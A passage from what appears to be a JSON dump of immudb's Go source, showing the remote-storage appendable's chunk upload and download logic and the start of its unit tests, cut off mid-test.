state\n\tr.chunkInfos[chunkID].cancelUpload = nil\n\tr.chunkUploadFinished.Broadcast()\n}\n\nfunc (r *RemoteStorageAppendable) uploadChunk(chunkID int64, dontRemoveFile bool) {\n\n\tappName := r.appendableName(chunkID)\n\tfileName := filepath.Join(r.path, appName)\n\n\tr.shutdownWaitGroup.Add(1)\n\tctx, cancelFunc := context.WithCancel(r.mainContext)\n\tr.chunkInfos[chunkID].state = chunkState_Uploading\n\tr.chunkInfos[chunkID].cancelUpload = cancelFunc\n\n\t// Ensure the we've got an up-to-date filesize in chunk info\n\tfi, err := os.Stat(fileName)\n\tif err == nil {\n\t\tr.chunkInfos[chunkID].storageSize = fi.Size()\n\t}\n\n\tgo func() {\n\t\tdefer r.shutdownWaitGroup.Done()\n\n\t\t// Throttle simultaneous uploads\n\t\tselect {\n\t\tcase <-ctx.Done():\n\t\t\tr.uploadFinished(chunkID, chunkState_Local)\n\t\t\treturn\n\t\tcase r.uploadThrottler <- struct{}{}:\n\t\t}\n\t\tdefer func() {\n\t\t\t<-r.uploadThrottler\n\t\t}()\n\n\t\tmetricsUploadStarted.Inc()\n\t\tdefer metricsUploadFinished.Inc()\n\n\t\tvar newApp appendable.Appendable\n\t\tcp := r.chunkedProcess(ctx)\n\n\t\t// Chunk data was already flushed when changing the active appendable\n\n\t\t// Update size stats after flush\n\t\tcp.Step(func() error {\n\t\t\tfi, err := os.Stat(fileName)\n\t\t\tif err == nil {\n\t\t\t\tr.mutex.Lock()\n\t\t\t\tr.chunkInfos[chunkID].storageSize = fi.Size()\n\t\t\t\tr.mutex.Unlock()\n\t\t\t}\n\t\t\treturn nil\n\t\t})\n\n\t\t// Upload the chunk\n\t\tcp.RetryableStep(func(retries int, delay time.Duration) (bool, error) {\n\t\t\tdefer prometheus.NewTimer(metricsUploadTime).ObserveDuration()\n\t\t\terr := r.rStorage.Put(ctx, r.remotePath+appName, fileName)\n\t\t\tif err == nil {\n\t\t\t\treturn false, nil\n\t\t\t}\n\n\t\t\tmetricsUploadRetried.Inc()\n\t\t\treturn true, nil\n\t\t})\n\n\t\t// Wait for the chunk to become ready\n\t\tcp.RetryableStep(func(retries int, delay time.Duration) (bool, error) {\n\t\t\texists, err := r.rStorage.Exists(ctx, r.remotePath+appName)\n\t\t\tif err == nil && exists {\n\t\t\t\treturn false, nil\n\t\t\t}\n\n\t\t\tmetricsUploadRetried.Inc()\n\t\t\treturn true, nil\n\t\t})\n\n\t\t// Open new appendable from the remote storage\n\t\tcp.RetryableStep(func(retries int, delay time.Duration) (bool, error) {\n\t\t\tapp, err := r.openRemoteAppendableReader(appName)\n\t\t\tif err == nil {\n\t\t\t\tnewApp = app\n\t\t\t\treturn false, nil\n\t\t\t}\n\n\t\t\tmetricsUploadRetried.Inc()\n\t\t\treturn true, nil\n\t\t})\n\n\t\t// Replace the cached instance of appendable for the chunk\n\t\tcp.Step(func() error {\n\t\t\toldApp, err := r.ReplaceCachedChunk(chunkID, newApp)\n\t\t\t// Couldn't replace the cache entry? Can't continue with the cleanup\n\t\t\tif err != nil && !errors.Is(err, cache.ErrKeyNotFound) {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tif err == nil {\n\t\t\t\terr := oldApp.Close()\n\t\t\t\tif err != nil && !errors.Is(err, singleapp.ErrAlreadyClosed) {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn nil\n\t\t})\n\n\t\t// Cleanup the chunk\n\t\tcp.Step(func() error {\n\t\t\tif dontRemoveFile {\n\t\t\t\treturn nil\n\t\t\t}\n\n\t\t\tr.mutex.Lock()\n\t\t\tr.chunkInfos[chunkID].state = chunkState_Cleaning\n\t\t\tr.chunkInfos[chunkID].cancelUpload = nil\n\t\t\tr.mutex.Unlock()\n\n\t\t\terr := os.Remove(path.Join(r.path, appName))\n\t\t\tif err != nil {\n\t\t\t\treturn nil\n\t\t\t}\n\n\t\t\treturn fileutils.SyncDir(r.path)\n\t\t})\n\n\t\tif ctx.Err() != nil {\n\t\t\t// Context has been cancelled\n\t\t\tlog.Printf(\"Uploading chunk %d cancelled\", chunkID)\n\t\t\tr.uploadFinished(chunkID, chunkState_Local)\n\t\t\tmetricsUploadCancelled.Inc()\n\t\t\treturn\n\t\t}\n\n\t\tif cp.Err() != nil {\n\t\t\tlog.Printf(\"Uploading chunk %d failed: %v\", chunkID, cp.Err())\n\t\t\tr.uploadFinished(chunkID, chunkState_UploadError)\n\t\t\tmetricsUploadFailed.Inc()\n\t\t\treturn\n\t\t}\n\n\t\t// All done\n\t\tr.uploadFinished(chunkID, chunkState_Remote)\n\t\tmetricsUploadSucceeded.Inc()\n\t}()\n}\n\nfunc (r *RemoteStorageAppendable) downloadFinished(chunkID int64, state chunkState) {\n\tr.mutex.Lock()\n\tdefer r.mutex.Unlock()\n\n\tlog.Printf(\"Downloading of chunk %d finished in state: %v\", chunkID, state)\n\n\tr.chunkInfos[chunkID].state = state\n\tr.chunkInfos[chunkID].cancelUpload = nil\n\tr.chunkDownloadFinished.Broadcast()\n}\n\nfunc (r *RemoteStorageAppendable) downloadChunk(chunkID int64) {\n\tr.shutdownWaitGroup.Add(1)\n\tctx, cancelFunc := context.WithCancel(r.mainContext)\n\tr.chunkInfos[chunkID].state = chunkState_Downloading\n\tr.chunkInfos[chunkID].cancelUpload = cancelFunc\n\n\tgo func() {\n\t\tdefer r.shutdownWaitGroup.Done()\n\n\t\tmetricsDownloadStarted.Inc()\n\t\tdefer metricsDownloadFinished.Inc()\n\n\t\tappName := r.appendableName(chunkID)\n\t\tfileName := filepath.Join(r.path, appName)\n\n\t\t// Downloading to a temporary file first, we can't risk\n\t\t// having corrupted (partially downloaded) file because\n\t\t// it would be prioritized over the remote data in case\n\t\t// of conflict\n\t\tfileNameTmp := fileName + \".tmp_download\"\n\t\tdefer func() { _ = os.Remove(fileNameTmp) }()\n\n\t\tvar flTmp *os.File\n\t\tdefer func() { flTmp.Close() }()\n\n\t\tcp := r.chunkedProcess(ctx)\n\t\tcp.RetryableStep(func(retries int, delay time.Duration) (retryNeeded bool, err error) {\n\n\t\t\tdata, err := r.rStorage.Get(ctx, r.remotePath+r.appendableName(chunkID), 0, -1)\n\t\t\tif err != nil {\n\t\t\t\tmetricsDownloadRetried.Inc()\n\t\t\t\treturn true, nil\n\t\t\t}\n\t\t\tdefer data.Close()\n\n\t\t\tflTmp, err = os.OpenFile(fileNameTmp, os.O_CREATE|os.O_RDWR, r.fileMode)\n\t\t\tif err != nil {\n\t\t\t\t// Couldn't create temporary local file, something is broken on local FS\n\t\t\t\treturn false, err\n\t\t\t}\n\n\t\t\t_, err = io.Copy(flTmp, data)\n\t\t\tif err != nil {\n\t\t\t\tmetricsDownloadRetried.Inc()\n\t\t\t\treturn true, nil\n\t\t\t}\n\t\t\treturn false, nil\n\t\t})\n\t\tcp.Step(func() error {\n\t\t\treturn flTmp.Sync()\n\t\t})\n\t\tcp.Step(func() error {\n\t\t\treturn flTmp.Close()\n\t\t})\n\t\tcp.Step(func() error {\n\t\t\terr := os.Rename(fileNameTmp, fileName)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\treturn fileutils.SyncDir(r.path)\n\t\t})\n\n\t\tif ctx.Err() != nil {\n\t\t\tlog.Printf(\"Downloading chunk %d cancelled\", chunkID)\n\t\t\tmetricsDownloadCancelled.Inc()\n\t\t\tr.downloadFinished(chunkID, chunkState_DownloadError)\n\t\t\treturn\n\t\t}\n\n\t\tif cp.Err() != nil {\n\t\t\tlog.Printf(\"Downloading chunk %d failed: %v\", chunkID, cp.Err())\n\t\t\tmetricsDownloadFailed.Inc()\n\t\t\tr.downloadFinished(chunkID, chunkState_DownloadError)\n\t\t\treturn\n\t\t}\n\n\t\tmetricsDownloadSucceeded.Inc()\n\t\tr.downloadFinished(chunkID, chunkState_Local)\n\t}()\n}\n\nfunc (r *RemoteStorageAppendable) Close() error {\n\terr := r.MultiFileAppendable.Close()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Upload as much as possible,\n\t// note that flushing is not needed here because\n\t// all chunks are already closed\n\tr.mutex.Lock()\n\tfor chunkID, info := range r.chunkInfos {\n\t\tswitch info.state {\n\t\tcase chunkState_Active, chunkState_Local:\n\t\t\tr.uploadChunk(int64(chunkID), true)\n\t\t}\n\t}\n\tr.mutex.Unlock()\n\n\tr.shutdownWaitGroup.Wait()\n\n\tr.mainCancelFunc()\n\tr.statsUpdaterWaitGroup.Wait()\n\treturn nil\n}\n\nfunc (r *RemoteStorageAppendable) OpenAppendable(options *singleapp.Options, appname string, activeChunk bool) (appendable.Appendable, error) {\n\tif options.GetCompressionFormat() != appendable.NoCompression {\n\t\treturn nil, ErrCompressionNotSupported\n\t}\n\n\tr.mutex.Lock()\n\tdefer r.mutex.Unlock()\n\n\tappID, err := chunkIdFromName(appname)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif appID >= int64(len(r.chunkInfos)) {\n\t\t// Switching to a new appendable at the end, update the state\n\t\tfor i := int64(len(r.chunkInfos)); i <= appID; i++ {\n\t\t\t// Ensure there's enough room for chunk info,\n\t\t\t// during initialization it will build info for every chunk,\n\t\t\t// during normal operations this appends one info only\n\t\t\tr.chunkInfos = append(r.chunkInfos, chunkInfo{})\n\t\t}\n\t\tr.chunkInfos[appID].state = chunkState_Local\n\t}\n\n\tif activeChunk {\n\t\t// Deactivate previous active chunk (if present)\n\t\t// and schedule the upload for it\n\t\tfor i := int64(0); i < appID; i++ {\n\t\t\tif r.chunkInfos[i].state == chunkState_Active {\n\t\t\t\tr.uploadChunk(int64(i), false)\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t\t// Deactivate and cancel uploads for all chunks that follow,\n\t\tfor i := appID + 1; i < int64(len(r.chunkInfos)); i++ {\n\t\t\tswitch r.chunkInfos[i].state {\n\t\t\tcase chunkState_Uploading:\n\t\t\t\tr.chunkInfos[i].cancelUpload()\n\t\t\tcase chunkState_Active:\n\t\t\t\tr.chunkInfos[i].state = chunkState_Local\n\t\t\t}\n\t\t}\n\t}\n\n\tfor {\n\t\tswitch r.chunkInfos[appID].state {\n\t\tcase chunkState_Active, chunkState_Local, chunkState_UploadError:\n\t\t\t// File is stored locally. If there was an IO error during upload,\n\t\t\t// try to open a local file, there's a chance it is still partially readable\n\t\t\tif activeChunk {\n\t\t\t\t// Switch to the active chunk state if needed\n\t\t\t\tr.chunkInfos[appID].state = chunkState_Active\n\t\t\t}\n\t\t\treturn singleapp.Open(filepath.Join(r.path, appname), options)\n\n\t\tcase chunkState_Uploading:\n\t\t\tif !activeChunk {\n\t\t\t\treturn singleapp.Open(filepath.Join(r.path, appname), options)\n\t\t\t}\n\n\t\t\tr.chunkInfos[appID].cancelUpload()\n\t\t\tr.chunkUploadFinished.Wait()\n\t\t\tcontinue\n\n\t\tcase chunkState_Cleaning:\n\t\t\tr.chunkUploadFinished.Wait() // Removal operation can not be interrupted,wait for it to finish\n\t\t\tcontinue\n\n\t\tcase chunkState_Remote:\n\t\t\tif activeChunk {\n\t\t\t\t// Force download of the chunk, we'll have to wait for it\n\t\t\t\tr.downloadChunk(appID)\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\treturn r.openRemoteAppendableReader(appname)\n\n\t\tcase chunkState_Downloading:\n\t\t\tr.chunkDownloadFinished.Wait()\n\t\t\tcontinue\n\n\t\tcase chunkState_DownloadError:\n\t\t\t// Even though the chunk couldn't be downloaded locally,\n\t\t\t// it's still available remotely and we should be able to read from it\n\t\t\tif activeChunk {\n\t\t\t\treturn nil, ErrCantDownload\n\t\t\t}\n\t\t\treturn r.openRemoteAppendableReader(appname)\n\n\t\tdefault:\n\t\t\treturn nil, ErrInvalidChunkState\n\t\t}\n\t}\n}\n\nfunc (r *RemoteStorageAppendable) appendableName(appID int64) string {\n\treturn fmt.Sprintf(\"%08d.%s\", appID, r.fileExt)\n}\n\nfunc (r *RemoteStorageAppendable) OpenInitialAppendable(opts *multiapp.Options, singleAppOpts *singleapp.Options) (appendable.Appendable, int64, error) {\n\tchunkInfos := []chunkInfo{}\n\n\t// Scan local chunks\n\tfis, err := ioutil.ReadDir(r.path)\n\tif err != nil {\n\t\treturn nil, 0, err\n\t}\n\n\tfor _, fi := range fis {\n\t\tid, err := chunkIdFromName(fi.Name())\n\t\tif err != nil {\n\t\t\treturn nil, 0, err\n\t\t}\n\n\t\t// Sanity check\n\t\tif r.appendableName(id) != fi.Name() {\n\t\t\treturn nil, 0, ErrInvalidLocalStorage\n\t\t}\n\n\t\tif id < 0 || id > int64(math.MaxInt) {\n\t\t\treturn nil, 0, fmt.Errorf(\"chunk id %d out of range\", id)\n\t\t}\n\n\t\tfor len(chunkInfos) <= int(id) {\n\t\t\tchunkInfos = append(chunkInfos, chunkInfo{state: chunkState_Invalid})\n\t\t}\n\n\t\tchunkInfos[id].state = chunkState_Local\n\t\tchunkInfos[id].storageSize = fi.Size()\n\t}\n\n\t// Scan remote chunks\n\tremoteEntries, _, err := r.rStorage.ListEntries(context.Background(), r.remotePath)\n\tif err != nil {\n\t\treturn nil, 0, err\n\t}\n\n\tfor _, entry := range remoteEntries {\n\t\tid, err := chunkIdFromName(entry.Name)\n\t\tif err != nil {\n\t\t\treturn nil, 0, err\n\t\t}\n\n\t\t// Sanity check\n\t\tif r.appendableName(id) != entry.Name {\n\t\t\treturn nil, 0, ErrInvalidRemoteStorage\n\t\t}\n\n\t\tif id < 0 || id > int64(math.MaxInt) {\n\t\t\treturn nil, 0, fmt.Errorf(\"chunk id %d out of range\", id)\n\t\t}\n\n\t\tfor len(chunkInfos) <= int(id) {\n\t\t\tchunkInfos = append(chunkInfos, chunkInfo{state: chunkState_Invalid})\n\t\t}\n\n\t\tif chunkInfos[id].state == chunkState_Local {\n\t\t\tif entry.Size > chunkInfos[id].storageSize {\n\t\t\t\t// Chunk size can only grow in size,\n\t\t\t\t// if the local file is smaller than the remote object,\n\t\t\t\t// there must have been some corruption of local file\n\t\t\t\tlog.Printf(\"Chunk validation failed, remote chunk %d has more data than the local file\", id)\n\t\t\t\treturn nil, 0, ErrInvalidRemoteStorage\n\t\t\t}\n\t\t} else {\n\t\t\tchunkInfos[id].state = chunkState_Remote\n\t\t\tchunkInfos[id].storageSize = entry.Size\n\t\t}\n\t}\n\n\t// Ensure we have all chunks\n\tfor id, info := range chunkInfos {\n\t\tif info.state == chunkState_Invalid {\n\t\t\t// Chunk was not found in neither local nor remote storage\n\t\t\tlog.Printf(\"Chunk validation failed, missing chunk %d\", id)\n\t\t\treturn nil, 0, ErrMissingRemoteChunk\n\t\t}\n\t}\n\n\tr.chunkInfos = chunkInfos\n\n\tif len(chunkInfos) == 0 {\n\t\t// Opening new DB, the first chunk will be created\n\t\tchunkInfos = append(chunkInfos, chunkInfo{\n\t\t\tstate:       chunkState_Local,\n\t\t\tstorageSize: 0,\n\t\t})\n\t}\n\n\tappID := int64(len(chunkInfos) - 1)\n\n\tapp, err := r.OpenAppendable(singleAppOpts, r.appendableName(appID), true)\n\tif err != nil {\n\t\treturn nil, 0, err\n\t}\n\n\treturn app, appID, nil\n}\n\nfunc (r *RemoteStorageAppendable) openRemoteAppendableReader(name string) (appendable.Appendable, error) {\n\treturn openRemoteStorageReader(\n\t\tr.rStorage,\n\t\tr.remotePath+name,\n\t)\n}\n\nfunc (r *RemoteStorageAppendable) startStatsUpdater() {\n\tr.statsUpdaterWaitGroup.Add(1)\n\tgo func() {\n\t\tdefer r.statsUpdaterWaitGroup.Done()\n\n\t\tticker := time.NewTicker(1 * time.Minute)\n\t\tdefer ticker.Stop()\n\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase <-r.mainContext.Done():\n\t\t\t\treturn\n\t\t\tcase <-ticker.C:\n\t\t\t}\n\t\t\tr.calculateChunkMetrics()\n\t\t}\n\t}()\n}\n\nfunc (r *RemoteStorageAppendable) calculateChunkMetrics() error {\n\tstates := map[string]int64{}\n\tsizes := map[string]int64{}\n\n\tfor _, state := range chunkStateNames {\n\t\tstates[state] = 0\n\t\tsizes[state] = 0\n\t}\n\n\t_, currAppID := r.CurrApp()\n\n\tr.mutex.Lock()\n\n\tif r.chunkInfos[currAppID].state == chunkState_Active {\n\t\t// Sync current appendable stats\n\t\tappName := r.appendableName(currAppID)\n\t\tfileName := filepath.Join(r.path, appName)\n\t\tfi, err := os.Stat(fileName)\n\t\tif err == nil {\n\t\t\tr.chunkInfos[currAppID].storageSize = fi.Size()\n\t\t}\n\t}\n\n\tfor _, info := range r.chunkInfos {\n\t\tstates[info.state.String()]++\n\t\tsizes[info.state.String()] += info.storageSize\n\t}\n\n\tr.mutex.Unlock()\n\n\tfor state, count := range states {\n\t\tmetricsChunkCounts.With(prometheus.Labels{\n\t\t\t\"path\":  r.remotePath,\n\t\t\t\"state\": state,\n\t\t}).Set(float64(count))\n\t}\n\n\tfor state, size := range sizes {\n\t\tmetricsChunkDataBytes.With(prometheus.Labels{\n\t\t\t\"path\":  r.remotePath,\n\t\t\t\"state\": state,\n\t\t}).Set(float64(size))\n\t}\n\n\treturn nil\n}\n\nvar _ appendable.Appendable = (*RemoteStorageAppendable)(nil)\n"
  },
  {
    "path": "embedded/appendable/remoteapp/remote_app_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage remoteapp\n\nimport (\n\t\"context\"\n\t\"errors\"\n\t\"fmt\"\n\t\"io\"\n\t\"io/ioutil\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"sync\"\n\t\"sync/atomic\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/embedded/appendable\"\n\t\"github.com/codenotary/immudb/embedded/appendable/multiapp\"\n\t\"github.com/codenotary/immudb/embedded/appendable/singleapp\"\n\t\"github.com/codenotary/immudb/embedded/remotestorage\"\n\t\"github.com/codenotary/immudb/embedded/remotestorage/memory\"\n\t\"github.com/prometheus/client_golang/prometheus/testutil\"\n\t\"github.com/stretchr/testify/assert\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestOpenInllegalArguments(t *testing.T) {\n\tdir := t.TempDir()\n\tapp, err := Open(dir, \"\", memory.Open(), nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\trequire.Nil(t, app)\n\n\tapp, err = Open(dir, \"\", nil, DefaultOptions())\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\trequire.Nil(t, app)\n\n\tapp, err = Open(dir, \"remotepath\", memory.Open(), DefaultOptions())\n\trequire.Equal(t, ErrIllegalArguments, err, \"remotePath must end with '/'\")\n\trequire.Nil(t, app)\n\n\tapp, err = Open(dir, \"/remotepath/\", memory.Open(), DefaultOptions())\n\trequire.Equal(t, ErrIllegalArguments, err, \"remotePath must not start with '/'\")\n\trequire.Nil(t, app)\n\n\tapp, err = Open(dir, \"remote//path/\", memory.Open(), DefaultOptions())\n\trequire.Equal(t, ErrIllegalArguments, err, \"remote path must not contain '//'\")\n\trequire.Nil(t, app)\n}\n\nfunc TestOpenMultiappError(t *testing.T) {\n\tfl := filepath.Join(t.TempDir(), \"testfile\")\n\trequire.NoError(t, ioutil.WriteFile(fl, []byte{}, 0777))\n\n\tapp, err := Open(fl, \"\", memory.Open(), DefaultOptions())\n\trequire.NotNil(t, err)\n\trequire.Nil(t, app)\n}\n\nfunc TestOpenRemoteStorageAppendable(t *testing.T) {\n\tapp, err := Open(t.TempDir(), \"\", memory.Open(), DefaultOptions())\n\trequire.NoError(t, err)\n\n\terr = app.Close()\n\trequire.NoError(t, err)\n\n\terr = app.Close()\n\trequire.ErrorIs(t, err, multiapp.ErrAlreadyClosed)\n}\n\nfunc TestOpenRemoteStorageAppendableCompression(t *testing.T) {\n\topts := DefaultOptions()\n\topts.WithCompressionFormat(appendable.FlateCompression).\n\t\tWithCompresionLevel(appendable.BestCompression)\n\n\tapp, err := Open(t.TempDir(), \"\", memory.Open(), opts)\n\trequire.ErrorIs(t, err, ErrCompressionNotSupported)\n\trequire.Nil(t, app)\n}\n\nfunc TestRemoteStorageOpenAppendableInvalidName(t *testing.T) {\n\tapp, err := Open(t.TempDir(), \"\", memory.Open(), DefaultOptions())\n\trequire.NoError(t, err)\n\n\tsubApp, err := app.OpenAppendable(singleapp.DefaultOptions(), \"invalid-app-name\", false)\n\trequire.Error(t, err)\n\trequire.Nil(t, subApp)\n}\n\nconst testWaitTimeout = 10 * time.Second\n\nfunc waitForObject(mem *memory.Storage, objectName string) bool {\n\tstartWait := time.Now()\n\tfor {\n\t\tif exists, _ := mem.Exists(context.Background(), objectName); exists {\n\t\t\treturn true\n\t\t}\n\n\t\tif time.Since(startWait) > testWaitTimeout {\n\t\t\treturn false\n\t\t}\n\n\t\ttime.Sleep(time.Millisecond)\n\t}\n}\n\nfunc waitForRemoval(fileName string) bool {\n\tstartWait := time.Now()\n\tfor {\n\t\tif _, err := os.Stat(fileName); errors.Is(err, os.ErrNotExist) {\n\t\t\treturn true\n\t\t}\n\n\t\tif time.Since(startWait) > testWaitTimeout {\n\t\t\treturn false\n\t\t}\n\n\t\ttime.Sleep(time.Millisecond)\n\t}\n}\n\nfunc waitForChunkState(app *RemoteStorageAppendable, chunkID int, state chunkState) bool {\n\tstartWait := time.Now()\n\tfor {\n\t\tapp.mutex.Lock()\n\t\tif len(app.chunkInfos) > chunkID &&\n\t\t\tapp.chunkInfos[chunkID].state == state {\n\t\t\tapp.mutex.Unlock()\n\t\t\treturn true\n\t\t}\n\t\tapp.mutex.Unlock()\n\n\t\tif time.Since(startWait) > testWaitTimeout {\n\t\t\treturn false\n\t\t}\n\n\t\ttime.Sleep(time.Millisecond)\n\t}\n}\n\nfunc waitForFile(fileName string, maxWait time.Duration) bool {\n\tstartWait := time.Now()\n\tfor {\n\t\tif st, err := os.Stat(fileName); err == nil && st.Mode().IsRegular() {\n\t\t\treturn true\n\t\t}\n\n\t\tif time.Since(startWait) > maxWait {\n\t\t\treturn false\n\t\t}\n\n\t\ttime.Sleep(time.Millisecond)\n\t}\n}\n\nfunc TestWritePastFirstChunk(t *testing.T) {\n\tpath := t.TempDir()\n\n\topts := DefaultOptions()\n\topts.WithFileSize(10)\n\topts.WithMaxOpenedFiles(3)\n\n\tmem := memory.Open()\n\n\tapp, err := Open(path, \"\", mem, opts)\n\trequire.NoError(t, err)\n\n\ttestData := []byte(\"Large buffer\")\n\n\toffs, n, err := app.Append(testData)\n\tassert.EqualValues(t, 0, offs)\n\tassert.EqualValues(t, 12, n)\n\trequire.NoError(t, err)\n\n\terr = app.Flush() // Needs an explicit flush, it's managed on the immustore layer\n\trequire.NoError(t, err)\n\n\t// Ensure the chunk is uploaded to a remote storage\n\tassert.True(t, waitForObject(mem, \"00000000.aof\"))\n\n\treadData := make([]byte, 12)\n\tn, err = app.ReadAt(readData, 0)\n\trequire.NoError(t, err)\n\tassert.EqualValues(t, n, 12)\n\tassert.EqualValues(t, testData, readData)\n\n\t// Append some more data\n\ttestData2 := []byte(\"Even larger buffer spanning across multiple files\")\n\toffs, n, err = app.Append(testData2)\n\trequire.NoError(t, err)\n\tassert.EqualValues(t, 12, offs)\n\tassert.EqualValues(t, 49, n)\n\n\terr = app.Flush() // Needs an explicit flush, it's managed on the immustore layer\n\trequire.NoError(t, err)\n\n\tassert.True(t, waitForObject(mem, \"00000005.aof\"))\n\n\t// Cache shuld contain chunks: 3, 4, 5 now, 6th is the active one\n\tassert.True(t, waitForRemoval(fmt.Sprintf(\"%s/00000000.aof\", path)))\n\tassert.True(t, waitForRemoval(fmt.Sprintf(\"%s/00000001.aof\", path)))\n\tassert.True(t, waitForRemoval(fmt.Sprintf(\"%s/00000002.aof\", path)))\n\n\treadData = make([]byte, 12+49)\n\tn, err = app.ReadAt(readData, 0)\n\trequire.NoError(t, err)\n\tassert.EqualValues(t, n, 12+49)\n\tassert.EqualValues(t, append(testData, testData2...), readData)\n\n\terr = app.Close()\n\trequire.NoError(t, err)\n}\n\nfunc prepareLocalTestFiles(t *testing.T) string {\n\tpath := t.TempDir()\n\tmapp, err := multiapp.Open(path, multiapp.DefaultOptions().WithFileSize(10).WithFileExt(\"tst\"))\n\trequire.NoError(t, err)\n\n\t_, _, err = mapp.Append([]byte(\"Some pretty long string to cross a chunk boundary\"))\n\trequire.NoError(t, err)\n\terr = mapp.Close()\n\trequire.NoError(t, err)\n\n\tfor i := 0; i < 5; i++ {\n\t\trequire.FileExists(t, fmt.Sprintf(\"%s/%08d.tst\", path, i))\n\t}\n\n\treturn path\n}\n\nfunc TestRemoteAppUploadOnStartup(t *testing.T) {\n\tpath := prepareLocalTestFiles(t)\n\n\topts := DefaultOptions()\n\topts.WithFileExt(\"tst\")\n\n\tmem := memory.Open()\n\tapp, err := Open(path, \"\", mem, opts)\n\trequire.NoError(t, err)\n\tfor i := 0; i < 4; i++ {\n\t\trequire.True(t, waitForObject(mem, fmt.Sprintf(\"%08d.tst\", i)))\n\t\trequire.True(t, waitForRemoval(fmt.Sprintf(\"%s/%08d.tst\", path, i)))\n\t}\n\terr = app.Close()\n\trequire.NoError(t, err)\n}\n\nfunc TestReopenOnCleanShutdownWhenEmpty(t *testing.T) {\n\tpath := t.TempDir()\n\n\tmem := memory.Open()\n\topts := DefaultOptions()\n\topts.WithFileExt(\"tst\")\n\topts.WithFileSize(10)\n\tapp, err := Open(path, \"\", mem, opts)\n\trequire.NoError(t, err)\n\trequire.FileExists(t, fmt.Sprintf(\"%s/00000000.tst\", path))\n\n\terr = app.Close()\n\trequire.NoError(t, err)\n\trequire.FileExists(t, fmt.Sprintf(\"%s/00000000.tst\", path))\n\n\texists, err := mem.Exists(context.Background(), \"00000000.tst\")\n\trequire.NoError(t, err)\n\trequire.True(t, exists)\n\n\terr = os.RemoveAll(path)\n\trequire.NoError(t, err)\n\n\tapp, err = Open(path, \"\", mem, opts)\n\trequire.NoError(t, err)\n\n\trequire.True(t, waitForFile(fmt.Sprintf(\"%s/00000000.tst\", path), time.Second))\n\tsize, err := app.Size()\n\trequire.NoError(t, err)\n\trequire.EqualValues(t, 0, size)\n}\n\nfunc TestReopenFromRemoteStorageOnCleanShutdown(t *testing.T) {\n\tpath := t.TempDir()\n\n\tmem := memory.Open()\n\topts := DefaultOptions()\n\topts.WithFileExt(\"tst\")\n\topts.WithFileSize(10)\n\tapp, err := Open(path, \"\", mem, opts)\n\trequire.NoError(t, err)\n\n\tdataWritten := []byte(\"Some pretty long string to cross a chunk boundary\")\n\n\toffs, n, err := app.Append(dataWritten)\n\trequire.NoError(t, err)\n\trequire.EqualValues(t, 0, offs)\n\trequire.EqualValues(t, len(dataWritten), n)\n\trequire.True(t, waitForRemoval(fmt.Sprintf(\"%s/00000003.tst\", path)))\n\n\terr = app.Close()\n\trequire.NoError(t, err)\n\trequire.FileExists(t, fmt.Sprintf(\"%s/00000004.tst\", path))\n\n\texists, err := mem.Exists(context.Background(), \"00000004.tst\")\n\trequire.NoError(t, err)\n\trequire.True(t, exists)\n\n\terr = os.RemoveAll(path)\n\trequire.NoError(t, err)\n\n\tapp, err = Open(path, \"\", mem, opts)\n\trequire.NoError(t, err)\n\n\trequire.True(t, waitForFile(fmt.Sprintf(\"%s/00000004.tst\", path), time.Second))\n\n\tdataRead := make([]byte, len(dataWritten))\n\tn, err = app.ReadAt(dataRead, 0)\n\trequire.NoError(t, err)\n\trequire.EqualValues(t, len(dataWritten), n)\n\trequire.Equal(t, dataWritten, dataRead)\n}\n\nfunc TestRemoteStorageMetrics(t *testing.T) {\n\tmStarted := testutil.ToFloat64(metricsUploadStarted)\n\tmFinished := testutil.ToFloat64(metricsUploadFinished)\n\tmFailed := testutil.ToFloat64(metricsUploadFailed)\n\tmSucceeded := testutil.ToFloat64(metricsUploadSucceeded)\n\n\tpath := t.TempDir()\n\n\tmem := memory.Open()\n\topts := DefaultOptions()\n\topts.WithFileExt(\"tst\").WithFileSize(10)\n\tapp, err := Open(path, \"\", mem, opts)\n\trequire.NoError(t, err)\n\n\tdataWritten := []byte(\"Some pretty long string to cross a chunk boundary\")\n\n\toffs, n, err := app.Append(dataWritten)\n\trequire.NoError(t, err)\n\trequire.EqualValues(t, 0, offs)\n\trequire.EqualValues(t, len(dataWritten), n)\n\tfor i := 0; i < 4; i++ {\n\t\trequire.True(t, waitForChunkState(app, i, chunkState_Remote))\n\t}\n\n\terr = app.Flush()\n\trequire.NoError(t, err)\n\n\terr = app.calculateChunkMetrics()\n\trequire.NoError(t, err)\n\n\tfor _, d := range []struct {\n\t\tstate           string\n\t\texpectedCount   int\n\t\texpectedStorage int\n\t}{\n\t\t{\"Active\", 1, 198},\n\t\t{\"Remote\", 4, 4 * 199},\n\t\t{\"Uploading\", 0, 0},\n\t} {\n\t\tt.Run(\"Checking count for \"+d.state, func(t *testing.T) {\n\t\t\tg, err := metricsChunkCounts.GetMetricWithLabelValues(\"\", d.state)\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.EqualValues(t, d.expectedCount, testutil.ToFloat64(g))\n\n\t\t\tg, err = metricsChunkDataBytes.GetMetricWithLabelValues(\"\", d.state)\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.EqualValues(t, d.expectedStorage, testutil.ToFloat64(g))\n\t\t})\n\t}\n\n\trequire.EqualValues(t, 4, 